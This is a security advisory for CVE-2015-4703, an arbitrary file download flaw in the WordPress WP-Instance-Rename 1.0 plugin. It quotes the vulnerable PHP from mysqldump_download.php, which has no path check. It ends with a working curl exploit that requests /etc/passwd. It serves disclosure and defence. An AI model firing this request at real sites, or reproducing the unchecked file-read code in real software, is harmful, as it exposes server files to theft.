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WordPress WP-Instance-Rename 1.0 File Download

WordPress WP-Instance-Rename 1.0 File Download
Posted Jun 26, 2015
Authored by Larry W. Cashdollar

WordPress WP-Instance-Rename plugin version 1.0 suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary
advisories | CVE-2015-4703
SHA-256 | 9a24d9b6daa62347b0cb943035d61843dba740d737dd765fd6a8ca7bdea56236

WordPress WP-Instance-Rename 1.0 File Download

Change Mirror Download
Title: Arbitrary File download in wordpress plugin wp-instance-rename v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-12
Download Site: https://wordpress.org/plugins/wp-instance-rename/
Vendor: Vlajo
Vendor Notified: 2015-06-12
Advisory: http://www.vapid.dhs.org/advisory.php?v=127
Vendor Contact:
Description: WordPress Rename plugin allows you to easily rename the complete WordPress installation. This plugin allows you to rename WordPress database, WordPress directory, change every necessary configuration file, easily from one page.
Vulnerability:
The code in mysqldump_download.php doesn't check that the requested file is within the intended download directory:

try{
$dbname = $_GET["dbname"];
$dumpfname = $_GET["dumpfname"];
$backup_folder = $_GET["backup_folder"];
}catch (Exception $e){}

if(empty($backup_folder)){
$backup_folder="backup/";
}
echo "$dumpfname";
if (file_exists($dumpfname)) {
// zip the dump file
$name=$dbname . "_" . date("Y-m-d");
$zipfname = $backup_folder.$name.".zip";
$zip = new ZipArchive();
if($zip->open($zipfname,ZIPARCHIVE::CREATE))
{
$zip->addFile($dumpfname,$dumpfname);
$zip->close();
}
// read zip file and send it to standard output
if (file_exists($zipfname)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($zipfname));
flush();
readfile($zipfname);

CVEID: 2015-4703
OSVDB:
Exploit Code:
• curl --data "dbname=wp&dumpfname=/etc/passwd&backup_folder=." http://www.example.com/wp-instance-rename/mysqldump_download.php -o p.zip


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